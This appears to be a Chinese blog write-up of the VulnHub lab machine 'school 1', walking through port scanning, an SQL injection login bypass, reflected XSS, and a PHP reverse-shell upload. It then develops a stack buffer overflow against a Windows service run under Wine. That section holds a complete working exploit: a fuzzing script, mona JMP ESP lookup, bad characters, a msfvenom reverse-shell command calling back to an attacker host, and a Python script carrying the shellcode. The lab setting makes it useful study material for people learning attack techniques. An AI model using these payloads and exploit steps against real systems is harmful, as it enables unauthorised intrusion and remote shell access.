当前位置:网站首页>vulnhub之school 1
vulnhub之school 1
2022-07-07 17:53:00 【梅_花_七】
目录
6.msf-pattern_create生成2000不同字符
一、存活主机探测

二、服务版本扫描
22,80依旧是常规端口。而23端口则是tcpwrapped,但是呢一般情况下23都是telnet
百度:
NMAP执行结果中,端口状态后经常标记tcpwrapped。tcpwrapped表示服务器运行TCP_Wrappers服务。TCP_Wrappers是一种应用级防火墙。它可以根据预设,对SSH、Telnet、FTP服务的请求进行拦截,判断是否符合预设要求。如果符合,就会转发给对应的服务进程;否则,会中断连接请求。


三、信息收集
针对一个登录框,
1.获取账号密码(爆破,通过源码泄露,弱口令来尝试)
2.尝试注入

永为真注入成功
其实这里不加最后的-也可以,但是空格必须要加,要和后边比对密码拼接上,这样才能注入成功
ss ' or 1=1 -- -
四、后台信息收集
1.反射型的xss
这几个页面都存在xss,但是吧,对我们突破边界没有什么用

上个框框里也有。

2.源码
特别注意javascript和注释里面的内容。这里有个隐藏路径,还有一个上传文件的保存文件夹。

五、文件上传
这里隐藏目录下存在一个文件上传的地方。

1.上传php反弹shell文件

2.再次访问这个页面的就触发了


六、wine
wine:简单来说就是可以在linux上来运行windous的程序。

win的内容:
执行了access.exe文件。
我们把他搞到windous上来调试一下,看看有无漏洞。

七、调试access.exe文件
1.调试工具ImmunityDebugger
自己找官网下载即可
2.下载mona脚本
github上有,下载后放到放到这里。

3.启动进程
提示了有漏洞。


4.写python脚本
主要是看这个程序是否存在缓冲区溢出的漏洞,如果存在缓冲区溢出,那么溢出的位置又在哪里。
#!/usr/bin/python2
import sys,socket
payload='A'*2000
try:
s=socket.socket()
s.connect(('192.168.0.',23))
s.send((payload))
s.close()
except:
print('wrong')
sys.exit()5.程序宕机
这也证明了存在缓冲区溢出漏洞。

6.msf-pattern_create生成2000不同字符
msf-pattern_create -l 2000

7.查找位置
8.EIP->ESP
EIP中放入跳入ESP寄存器的地址,ESP寄存器我们放入攻击payload。找到jump ESP的地址
(1)mona查看模块
!mona modules

(2)搜索jump ESP
!mona find -s "\xff\xe4" -m "funcs_access.dll"
Address=625012D0

9.测定坏字符
坏字符会导致我们代码执行的失败,测出来是这几个。
\x00\x0a\x4d\x4f\x5f\x79\x7e\x7f
10.生成shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.109 LPORT=4444 -b '\x00\x4d\x4f\x5f\x79\x7e\x7f' -f c EXITFUNC=thread
11.python的exp
#! /usr/bin/python2
import sys
import socket
try:
shellcode=("\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e" "\xce\x93\x58\xfd\x83\xee\xfc\xe2\xf4\x32\x7b\xda\xfd\xce\x93"
"\x38\x74\x2b\xa2\x98\x99\x45\xc3\x68\x76\x9c\x9f\xd3\xaf\xda"
"\x18\x2a\xd5\xc1\x24\x12\xdb\xff\x6c\xf4\xc1\xaf\xef\x5a\xd1"
"\xee\x52\x97\xf0\xcf\x54\xba\x0f\x9c\xc4\xd3\xaf\xde\x18\x12"
"\xc1\x45\xdf\x49\x85\x2d\xdb\x59\x2c\x9f\x18\x01\xdd\xcf\x40"
"\xd3\xb4\xd6\x70\x62\xb4\x45\xa7\xd3\xfc\x18\xa2\xa7\x51\x0f"
"\x5c\x55\xfc\x09\xab\xb8\x88\x38\x90\x25\x05\xf5\xee\x7c\x88"
"\x2a\xcb\xd3\xa5\xea\x92\x8b\x9b\x45\x9f\x13\x76\x96\x8f\x59"
"\x2e\x45\x97\xd3\xfc\x1e\x1a\x1c\xd9\xea\xc8\x03\x9c\x97\xc9"
"\x09\x02\x2e\xcc\x07\xa7\x45\x81\xb3\x70\x93\xfb\x6b\xcf\xce"
"\x93\x30\x8a\xbd\xa1\x07\xa9\xa6\xdf\x2f\xdb\xc9\x6c\x8d\x45"
"\x5e\x92\x58\xfd\xe7\x57\x0c\xad\xa6\xba\xd8\x96\xce\x6c\x8d"
"\xad\x9e\xc3\x08\xbd\x9e\xd3\x08\x95\x24\x9c\x87\x1d\x31\x46"
"\xcf\x97\xcb\xfb\x98\x55\xce\xff\x30\xff\xce\x82\x04\x74\x28"
"\xf9\x48\xab\x99\xfb\xc1\x58\xba\xf2\xa7\x28\x4b\x53\x2c\xf1"
"\x31\xdd\x50\x88\x22\xfb\xa8\x48\x6c\xc5\xa7\x28\xa6\xf0\x35" "\x99\xce\x1a\xbb\xaa\x99\xc4\x69\x0b\xa4\x81\x01\xab\x2c\x6e"
"\x3e\x3a\x8a\xb7\x64\xfc\xcf\x1e\x1c\xd9\xde\x55\x58\xb9\x9a"
"\xc3\x0e\xab\x98\xd5\x0e\xb3\x98\xc5\x0b\xab\xa6\xea\x94\xc2"
"\x48\x6c\x8d\x74\x2e\xdd\x0e\xbb\x31\xa3\x30\xf5\x49\x8e\x38"
"\x02\x1b\x28\xb8\xe0\xe4\x99\x30\x5b\x5b\x2e\xc5\x02\x1b\xaf"
"\x5e\x81\xc4\x13\xa3\x1d\xbb\x96\xe3\xba\xdd\xe1\x37\x97\xce"
"\xc0\xa7\x28")
payload="A"*1902 + "\xdd\x12\x50\x62" + "\x90"*32 + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.109",23))
s.send(payload)
s.close()
print('done')
except:
print('error')八、提权成功
这里Z:/表示win部署的根路径下,这里有我们要找到的第二个flag,未提权时不能查看,
现在可以查看证明提权成功。

边栏推荐
- CSDN语法说明
- Introduction to bit operation
- 华南X99平台打鸡血教程
- Dynamic addition of El upload upload component; El upload dynamically uploads files; El upload distinguishes which component uploads the file.
- R language ggplot2 visualization: use the ggdensity function of ggpubr package to visualize the packet density graph, and use stat_ overlay_ normal_ The density function superimposes the positive dist
- R language dplyr package mutate_ At function and min_ The rank function calculates the sorting sequence number value and ranking value of the specified data column in the dataframe, and assigns the ra
- The strength index of specialized and new software development enterprises was released, and Kirin Xin'an was honored on the list
- mock. JS returns an array from the optional data in the object array
- R语言ggplot2可视化:使用ggpubr包的ggstripchart函数可视化分组点状条带图(dot strip plot)、设置position参数配置不同分组数据点的分离程度
- openEuler 有奖捉虫活动,来参与一下?
猜你喜欢

Automatic classification of defective photovoltaic module cells in electroluminescence images-論文閱讀筆記

Netease Yunxin participated in the preparation of the standard "real time audio and video service (RTC) basic capability requirements and evaluation methods" issued by the Chinese Academy of Communica

关于cv2.dnn.readNetFromONNX(path)就报ERROR during processing node with 3 inputs and 1 outputs的解决过程【独家发布】

【STL】vector

Automatic classification of defective photovoltaic module cells in electroluminescence images-论文阅读笔记

Simulate the implementation of string class

648. 单词替换

Navicat连接2002 - Can‘t connect to local MySQL server through socket ‘/var/lib/mysql/mysql.sock‘解决

谷歌seo外链Backlinks研究工具推荐

LeetCode_ 7_ five
随机推荐
ASP.NET幼儿园连锁管理系统源码
[RT thread env tool installation]
how to prove compiler‘s correctness
648. 单词替换
Make this crmeb single merchant wechat mall system popular, so easy to use!
J ü rgen schmidhub reviews the 25th anniversary of LSTM papers: long short term memory All computable metaverses. Hierarchical reinforcement learning (RL). Meta-RL. Abstractions in generative adversar
Solve the problem of remote rviz error reporting
歌单11111
爬虫实战(七):爬王者英雄图片
PMP对工作有益吗?怎么选择靠谱平台让备考更省心省力!!!
Netease Yunxin participated in the preparation of the standard "real time audio and video service (RTC) basic capability requirements and evaluation methods" issued by the Chinese Academy of Communica
Compiler optimization (4): inductive variables
Kunpeng developer summit 2022 | Kirin Xin'an and Kunpeng jointly build a new ecosystem of computing industry
Navicat连接2002 - Can‘t connect to local MySQL server through socket ‘/var/lib/mysql/mysql.sock‘解决
Ways to improve the utilization of openeuler resources 01: Introduction
我的创作纪念日
8 CAS
开源重器!九章云极DataCanvas公司YLearn因果学习开源项目即将发布!
ASP.NET体育馆综合会员管理系统源码,免费分享
九章云极DataCanvas公司摘获「第五届数字金融创新大赛」最高荣誉!